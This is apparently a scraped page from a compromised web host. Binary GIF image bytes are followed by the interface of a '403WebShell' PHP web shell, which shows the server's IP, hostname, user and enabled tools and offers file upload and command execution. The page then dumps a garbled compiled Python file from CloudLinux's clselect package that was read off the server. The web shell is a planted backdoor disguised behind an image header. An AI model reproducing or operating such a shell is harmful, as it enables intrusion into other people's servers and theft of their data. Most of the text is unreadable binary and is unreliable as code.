GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/clselect/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/clselect/__pycache__/clpassenger.cpython-311.pyc
�

$_$hj���ddlmZddlmZddlmZddlZddlZddlZddlmZddlm	Z	ddl
mZddl
Z
ddlZddlZddlZddlZddlmZmZdd	lmZdd
lmZddlmZmZddlmZdd
lmZmZmZm Z m!Z!m"Z"m#Z#ddl$m%Z%m&Z&ddl'm(Z(m)Z)ddl*m+Z+m,Z,ddl-m.Z.ddlm/Z/m0Z0m1Z1ddlm2Z2m3Z3m4Z4m5Z5ddlm6Z6m7Z7ej8e9��Z:e:�;ej<��ej=e>dd����Z?e:�@e?��dZAdZBdZCdZDdZEdZFdZGdZHd ZId!�ZJd"�ZKd#�ZLd$�ZMd%�ZNd&�ZOd'�ZPd(�ZQd)�ZRd*�ZSd+�ZTd,�ZUd-�ZVd.�ZWd/�ZXd0ddeHdfd1�ZYd2�ZZdAd3�Z[d4�Z\eHfd5�Z]d6�Z^d7�Z_dBd8�Z`d9�Zad:�ZbdBd;�Zcd<�Zdd=�Zed>�Zfd?�Zgd@�ZhdS)C�)�absolute_import)�print_function)�divisionN)�datetime)�	iteritems)�configparser)�	clcaptain�utils)�userdomains)�*get_file_system_in_which_file_is_stored_on)�get_file_lines�write_file_lines)�mod_makedirs)�QuotaWrapper�NoSuchUserException�InsufficientPrivilegesException�IncorrectLimitFormatException�GeneralException�NoSuchPackageException�QuotaDisabledException)�PyLve�
PyLveError)�
set_user_perm�
set_root_perm)�Dict�Union�)�ClSelectExcept)�file_readlines�
file_write�s_partition)�get_abs_rel�mkdir_p�	file_read�file_writelines)�get_using_realpath_keys�realpaths_are_equalz	/dev/null�wz9# DO NOT REMOVE. CLOUDLINUX PASSENGER CONFIGURATION BEGINz7# DO NOT REMOVE. CLOUDLINUX PASSENGER CONFIGURATION ENDz	config.ruz�app = proc do |env|
    message = "It works!\n"
    version = "Ruby %s\n" % RUBY_VERSION
    response = [message, version].join("\n")
    [200, {"Content-Type" => "text/plain"}, [response]]
end


run app
ztmp/restart.txtzpassenger_wsgi.pyaMimport os
import sys


sys.path.insert(0, os.path.dirname(__file__))


def application(environ, start_response):
    start_response('200 OK', [('Content-Type', 'text/plain')])
    message = 'It works!\n'
    version = 'Python %s\n' % sys.version.split()[0]
    response = '\n'.join([message, version])
    return [response.encode()]
zapp.jsaCvar http = require('http');
var server = http.createServer(function(req, res) {
    res.writeHead(200, {'Content-Type': 'text/plain'});
    var message = 'It works!\n',
        version = 'NodeJS ' + process.versions.node + '\n',
        response = [message, version].join('\n');
    res.end(response);
});
server.listen();
c�f�tj|��}t|j|jd���dS)NF��exit)�pwd�getpwnamr�pw_uid�pw_gid��user�userpwds  �K/opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/clpassenger.py�drop_root_permr4^s0���l�4� � �G��'�.�'�.��?�?�?�?�?�?�c��	t||d���}tj|���tj��|S#t
$rYdSwxYw)N�surrogateescape��errors)�open�fcntl�flock�fileno�LOCK_EX�IOError)�config_path�mode�	conf_files   r3�get_config_lockrCcsd�����d�3D�E�E�E�	�
��I�$�$�&�&��
�6�6�6���������t�t����s�AA�
A�Ac�@�	|���dS#YdSxYw�N)�close)�	lock_files r3�release_lockrHls-��
����������
������s��c���d}tj��dkstj��dkrt|��d}d}	t	|��t|d��}t
j��}|�|��tj||�
����ng#tttjtjf$r=}t#jt"jd�||����Yd}~nd}~wwxYwt)|��|rt+d���dSdS#t)|��|rt+d���wwxYw)zS
    Write config with locking.
    Drop permissions if method called as root.
    FrTN�rzCan't write {}: {}r*)�os�getegid�geteuidr4�check_and_createdirrC�io�StringIO�writer	�getvaluer?�OSErrorr�UnableToSaveDatar
�ExternalProgramFailed�syslog�LOG_WARNING�formatrHr)r1r@�config�permissions_dropped�config_file�file_content�es       r3�write_configr^ss���
 ��

�z�|�|�q���B�J�L�L�A�-�-��t����"���K�&��K�(�(�(�%�k�3�7�7���{�}�}�����\�"�"�"����\�%:�%:�%<�%<�=�=�=�=��
�W�n�=�u�?Z�[�C�C�C��
�f�(�*�1�1�+�q�A�A�	C�	C�	C�	C�	C�	C�	C�	C�����C����	�[�!�!�!��	&��u�%�%�%�%�%�%�	&�	&��	�[�!�!�!��	&��u�%�%�%�%�%�	&���s1�A.B4�3E�4'D�3D�E�D�E�$E$c�,�tj�|��}tj�|��sU	t	j|��dS#ttjtjf$r}tj
||���d}~wwxYwdSrE)rK�path�dirname�isdirr	�mkdirrSrrUr
rT)r`�user_backup_pathr]s   r3rNrN�s����w���t�,�,��
�7�=�=�)�*�*�G�	G��O�,�-�-�-�-�-����=�u�?Z�[�	G�	G�	G� �1�2B�A�F�F�F�����	G����G�Gs�A�!B�7B�Bc�v�tj|��}tj�|jdd��S)Nz.cl.selector�htaccess_cache)r,r-rKr`�join�pw_dirr0s  r3�get_htaccess_cache_pathri�s,���l�4� � �G�
�7�<�<����8H�I�I�Ir5c�|�d}d}i}tj�|���r�	tj|��}|j|d<|j|d<|j|d<t|j��|d<tj
|j���|��|d<tj
|j
���|��|d<|dd	kr|S	t|d
��5}|�|��|d<|�|d��|�|��|d
<ddd��n#1swxYwYn,#t"t$f$r}d|�d|�d|��|d<Yd}~nd}~wwxYwt'|��d|d<n)#t"t$f$r}d|�d|��|d<Yd}~nd}~wwxYw|S)zp
    Get info (stat, first n symbols and file system in which file is stored)
    about htaccess_cache file
    z%Y-%m-%d %H:%M:%S�d�	file_size�gid�uid�permissions�last_access�last_modificationrrJ�
first_symbols��last_symbolsNzWe cannot get first and last z symbols from "z" file. Exception: �error�details�file_systemzWe cannot get info about ")rKr`�exists�stat�st_size�st_gid�st_uid�oct�st_moder�
fromtimestamp�st_atime�strftime�st_mtimer:�read�seekrSr?r)�path_to_file�time_format�number_of_symbols�	file_info�	file_stat�f�errs       r3�#_get_info_about_htaccess_cache_filer��so��&�K����I�	�w�~�~�l�#�#��	����-�-�I�%.�%6�I�k�"�(�/�I�e��(�/�I�e��'*�9�+<�'=�'=�I�m�$�'/�'=�i�>P�'Q�'Q�'Z�'Z�[f�'g�'g�I�m�$�-5�-C�I�DV�-W�-W�-`�-`�al�-m�-m�I�)�*���%��*�*� � �
��,��,�,�J��12���8I�1J�1J�I�o�.��F�F�-�-�q�1�1�1�01���7H�0I�0I�I�n�-�	J�J�J�J�J�J�J�J�J�J�J����J�J�J�J���
�W�%�
�
�
�
�%�%�%� �L�L��C�&�	�'�"�"�"�"�"�"�����
����(R�R^�'_�'_�`i�'j�I�m�$�$����!�	�	�	�	������"�I�g�����������	�����sg�B4F�E�.AE�6E�E�E�	E�
E�
F�E7�E2�-F�2E7�7F�F9�$F4�4F9c�t�t��}	t��}|���|�|��}|j|jz|d<|j|d<|j|d<|j|d<|j	|d<|j
|d<|j|d<n"#t$r}d|�d	|��|d
<Yd}~nd}~wwxYw|S)zB
    Getting user lve limits for logging those for next debug
    �cpu�pmem�vmemrO�iops�ep�nprocz,We cannot get lve limits for user with uid "�". Exception: ruN)
�dictr�
initialize�lve_info�ls_cpu�
ls_cpu_weight�
ls_memory_phy�	ls_memory�ls_io�ls_iops�	ls_enters�ls_nprocr)�user_uid�result�py_lve�user_limitsr�s     r3�_get_user_lve_limitsr��s����V�V�F�
������������o�o�h�/�/��#�*�[�-F�F��u�
�$�2��v��$�.��v��"�(��t��$�,��v��"�,��t��%�.��w�����
�
�
�
������
��w�����������
����
�Ms�BB�
B5� B0�0B5c
�4�t��}t|��}	t��}|�|��|}|}nM#tt
ttttttf$r}d|�d|��|d<Yd}~nd}~wwxYw|S)zD
    Getting user quota limits for logging those for next debug
    z.We cannot get quota limits for user with uid "r�ruN)r��strr�get_user_limitsrrrrrrr?rS)r�r��
quota_wrapper�user_quotasr�s     r3�_get_user_quota_limitsr��s����V�V�F��8�}�}�H�
�$���
�#�3�3�H�=�=�h�G�������"�+��)�"���	�

�

�

�

�
�H�H��C�
��w�����������

�����Ms�+A�5B�B�Bc�H�t|��}t��}||d<t��|d<	tj|��j}n*#t
$r}d|�d|��|dd<d}Yd}~nd}~wwxYw|��t��|dd<|dd�t|����t��|dd<|dd�t|����t�
|d	|�
��dS)zy
    Logging info (lve & quota limits) about user and
    info (stat info, first & last n symbols) about config file
    �config_file_info�	user_infozUser "z" does not exists. Exception: ruN�
lve_limits�quota_limitsT)�exc_info�extra)r�r�r,r-r.�KeyError�updater�r��logger�	exception)r1r@rur��
debug_infor�r�s       r3�*_log_debug_info_about_user_and_config_filer�s;��4�K�@�@�I����J�%.�J�!�"�"�f�f�J�{����<��%�%�,����������D�D��C�,
�
�;���(������������������04���
�;���-��;���-�4�4�5I�(�5S�5S�T�T�T�26�&�&�
�;���/��;���/�6�6�7M�h�7W�7W�X�X�X�
���U�T���<�<�<�<�<s�A�
A6�A1�1A6c�.�tjd���}t|��}t|d��}|��	|�|��n�#t
tf$r}t|||��Yd}~nzd}~wtjtj	f$rYt|��tjtjd�
|����tjd���}YnwxYwt|��n#t|��wxYw||fS)NF)�strictrJzConfig {} is broken.)�ConfigParser�RawConfigParserrirC�readfpr?rSr��ParsingError�MissingSectionHeaderError�_unlinkrVrWrXrH)r1rYr@r[r�s     r3�read_configr�"s@��
�
)��
7�
7�
7�F�)�$�/�/�K�!�+�s�3�3�K���	&��M�M�+�&�&�&�&����!�	O�	O�	O�6�t�[�#�N�N�N�N�N�N�N�N������)�<�+Q�R�	@�	@�	@��K� � � ��M�&�,�0�7�7��D�D�
F�
F�
F�"�1��?�?�?�F�F�F�	@����
��%�%�%�%��L��%�%�%�%�����;��s<�A�
C?�C,�A5�0C?�5A4C,�)C?�+C,�,C?�?Dc���t|��\}}|�|��rB	|�|d���d��}|S#tj$rYdSwxYwdS)N�
htaccess_list�,)r��has_section�get�splitr��
NoOptionError)r1�doc_rootrY�_r�s     r3�get_htaccess_cacher�9s���D�!�!�I�F�A�
���(�#�#��	�"�J�J�x��A�A�G�G��L�L�M� � ���)�	�	�	��4�4�	�����4s�*A�A'�&A'c�b�|�d��}ttt|����}t	|��\}}|�|��s|�|��|�|dd�|����t|||��dS)N�
r�r�)
r��list�filter�boolr�r��add_section�setrgr^)r1r��datarYr@s     r3�write_htaccess_cacher�Ds����:�:�d���D���t�T�"�"�#�#�D�%�d�+�+��F�K����h�'�'�%����8�$�$�$�
�J�J�x��#�(�(�4�.�.�9�9�9���{�F�+�+�+�+�+r5c���t|��\}}|�|��r*|�|d���d��}n.|�|��|�|dd��g}||vrt|�|��ttt|����}|�|dd�
|����t|||��dSdS)Nr�r��)r�r�r�r�r�r��appendr�r�r�rgr^)r1r�r�rYr@r�s      r3�update_htaccess_cacher�Ps���%�d�+�+��F�K�
���(�#�#���
�
�8�_�=�=�C�C�C�H�H�
�
����8�$�$�$��
�
�8�_�b�1�1�1��
��=�(�(����\�*�*�*��V�D�-�8�8�9�9�
��
�
�8�_�c�h�h�}�.E�.E�F�F�F��T�;��/�/�/�/�/�	)�(r5c��t|d���}g}d}|D]R}|�t��rd}|�t��rd}�;|s|�|���St|��}t
||dd���dS)z�
    Removes clpassenger lines from .htaccess to stop application
    :param htaccess_filename: Application .htaccess path
    :return: None
    r7r8FTr(N)r�
startswith�HTACCESS_BEGIN�HTACCESS_ENDr��rm_double_empty_linesr%)�htaccess_filename�lines�	new_lines�	in_config�lines     r3�$remove_passenger_lines_from_htaccessr�_s���
�,�5F�G�G�G�E��I��I��#�#���?�?�>�*�*�	��I��?�?�<�(�(�	��I���	#����T�"�"�"��%�i�0�0�I��%�y�#�>O�P�P�P�P�P�Pr5Tc
���t||��\}
}tj�|
��r3tj�|
��stjd���|dvrtjd|z���t|��}	t|||��}
|dkr|
d}tjd|z���|s|
d}n)#t$r|�tjd	|z���YnwxYw|d
krtj�|��}t|tj�
||����\}}tj�
|d��}d}tj�|��r�t|d
���}t|vr�|���D]�}tj�|d��tjz}tj�tj�||tjzg����d
kr'|d}||
krtjd|z���d}��|���}ng}|�rC|�d
��|�t��|�d|
z��|�d|z��|�d|����d|�d���|dkr-|�d��|�d|z��|	r|dvr|�d|	z��|�t.��t1|��}t3|��t5|d�|D��d
���t7|||��|rt9||||���dSdS)aX
    Configure passenger application
    :param user: name of unix user
    :param directory: name of dir in user home
    :param alias: alias of application
    :param interpreter: interpreter which execute application
    :param binary: binary of interpreter that execute application
    :param populate: True if application have to be be populated
    :param action: action with apllication. can be transit or None
    :param doc_root: doc_root
    :param startup_file: start application file
    :param passenger_log_file: Passenger log filename to write to app's .htaccess
    :return: None
    z,Destination exists and it is not a directory)�python�ruby�nodejszUnsupported interpreter ('%s')�transit�	directoryz(Specified directory already used by '%s'�docrootNz8No such application (or application not configured) "%s"r��	.htaccessTr7r8�aliaszhSpecified alias is already used by the other application: '%s'. Please, specify another application url.FzPassengerAppRoot "%s"zPassengerBaseURI "/%s"�	Passengerz "�"r�zPassengerAppType nodezPassengerStartupFile %s)r�r�zPassengerAppLogFile "%s"c3� K�|]	}d|zV��
dS�z%s
N���.0r�s  r3�	<genexpr>zconfigure.<locals>.<genexpr>�s&����"C�"C�T�6�D�=�"C�"C�"C�"C�"C�"Cr5)�startup_file)r"rKr`rxrbr�WebAppError�InterpreterError�summaryr&r��NoSuchApplication�normpathrgr$r��values�sepra�commonprefix�
splitlinesr��titler�r�r#r%r��populate_app)r1r�r��interpreter�binary�populate�actionr�r��passenger_log_file�abs_dirr��user_summary�app_summary�
exists_dir�	abs_alias�htaccess�htaccess_needs_update�htaccess_raw�item�
item_aliasr�s                      r3�	configurervs�� �T�9�-�-�J�G�Q�	�w�~�~�g���<�r�w�}�}�W�'=�'=�<��(�:�<�<�	<��6�6�6��-�,�{�:�<�<�	<��4�=�=�L�.�-�d�I�|�L�L���Y���$�[�1�J� �,�-W�Zd�-d�e�e�e��	.�"�9�-�H����X�X�X��� �2�J�Y�V�X�X�
X���X����
��{�{��� � ��'�'���t�R�W�\�\�(�E�%B�%B�C�C�L�I�q��w�|�|�I�{�3�3�H� ��	�w�~�~�h���� ��2C�D�D�D���\�)�)�$�+�+�-�-�
6�
6�� �W�-�-�d�7�m�<�<�r�v�E�
��7�?�?�2�7�#7�#7��U�R�V�^�8T�#U�#U�V�V�Z\�\�\�!%�k�!2�J�!�W�,�,�,�8�Z�\f�g�h�h�h�
16�-���'�'�)�)������8�
���R����
���^�$�$�$�
���,�w�6�7�7�7�
���-��5�6�6�6�
����;�+<�+<�+>�+>�+>�+>����G�H�H�H��(�"�"��L�L�0�1�1�1��L�L�2�\�A�B�B�B��	J�+�1E�"E�"E��L�L�3�6H�H�I�I�I�
���\�"�"�"�%�e�,�,���	������"C�"C�U�"C�"C�"C�L]�^�^�^�^��d�H�h�7�7�7��N��T�9�k��M�M�M�M�M�M�N�Ns�C�#C8�7C8c
�z�tt|����D�]\}}|\}}tj�|d|df��}t|d|��\}}}tj�|d��}tj�|d��}t||��\}}}	tj�t||	��d|��}
|d}t|��t||||d|
|d�����dS)Nr�rrr
rr�)r�)r�_summaryrKr`r�r!ra�basenamergr"�_unconfigurer)r1�domain_aliasr�r�r��old_homer��
binary_dir�binary_name�_binaryr�
htaccess_paths            r3�fix_homedirr�s%��'�����7�7�a�a���d����5��7�'�'��k�):�D��N�(K�L�L��%�d�;�&7��B�B���1�i�
�W�_�_�T�(�^�4�4�
��g�&�&�t�H�~�6�6��#�J��9�9�
��1�g�����k�$��8�8��;�[�I�I���Z�(�
��]�#�#�#��$�	�5�$�}�*=�v�PT�U^�P_�`�`�`�`�`�a�ar5c�P�t||t|����}|p|d}|p|}tj�||��}tj�|d��}tj�||��}	tj�|	d��}
t|||
��sht
|��t|d���}t|d���	��t|
|dd���t||
|��dSdS)Nr�r�r7r8r(�a)r&r�rKr`rgr'rrr:rFr%r�)r1r��	old_alias�	new_alias�old_doc_root�new_doc_root�app_data�
old_abs_alias�old_htaccess�
new_abs_alias�new_htaccessr�s            r3�mover&�s��&�t�Y���
�
�F�F�H��6�8�I�#6�L��/�<�L��G�L�L��y�9�9�M��7�<�<�
�{�;�;�L��G�L�L��y�9�9�M��7�<�<�
�{�;�;�L��t�\�<�@�@�@��\�"�"�"��|�4E�F�F�F���\�3���%�%�'�'�'���e�S�9J�K�K�K�K��d�L�,�?�?�?�?�?�@�@r5c�J�t|��D]}t||���dSrE)r��unconfigure)r1r�s  r3�purger)�s4���T�]�]�%�%�	��D�)�$�$�$�$�%�%r5c�N�t||��\}}tj�|d��}tj�|d��}t	|��t	|��tj�|t
��}tj�|t��}	tj�||��}
tj�|��}tj�|	��}tj�|
��}
|rt|��tk}|rt|	��tk}|
rt|
��tk}|dkr:|st|	t��|r |rt|��t|
��n�|dkr;|st|td��|r |rt|	��t|
��n�|dkr�|
sctj�|
��}tj�|��st!|d��t|
t��|
r |rt|��t|	��t#||��dS)	z�
    Populate application
    :param user: name of unix user
    :param directory: application path in user's home
    :param interpreter: interpreter which run application
    :param startup_file: main application file
    :return: None
    �public�tmpr�r�r(r�i�N)r"rKr`rgr#�	RACK_PATH�	WSGI_PATH�isfiler$�
RACK_TEMPLATE�
WSGI_TEMPLATE�APPJS_TEMPLATEr r�rarbr�restart)r1r�rr�r�rel_dir�
app_public�app_tmp�app_configru�app_wsgi�app_js�configru_installed�wsgi_installed�appjs_installed�configru_unchanged�wsgi_unchanged�appjs_unchanged�dir_paths                  r3r�r��sa��#�4��3�3��G�W�����g�x�0�0�J��g�l�l�7�E�*�*�G��J�����G�����7�<�<���3�3�L��w�|�|�G�Y�/�/�H�
�W�\�\�'�<�
0�
0�F������5�5���W�^�^�H�-�-�N��g�n�n�V�,�,�O��F�&�|�4�4�
�E���>�"�8�,�,�
�=���>�#�F�+�+�~�=���h����	0��x��/�/�/��	�"4�	��L�!�!�!��F�O�O�O��	��	�	�!�	9��|�]�C�8�8�8��	�n�	��H�����F�O�O�O��	��	 �	 ��	/��w���v�.�.�H��7�=�=��*�*�
.��X�u�-�-�-��v�~�.�.�.��	��	��L�!�!�!��H�����D�)�����r5c�R�	tj|��dS#t$rYdSwxYwrE)rK�unlinkrS)r`s r3r�r�1s:��
�
�	�$��������
�
�
����
���s��
&�&c�<�tjd|ddgtjtj���}g}|jD]O}	|�d��}|�|������@#t$rY�LwxYwd�|��S)Nz	/bin/findz-namer�)�stdout�stderrzutf-8r�)	�
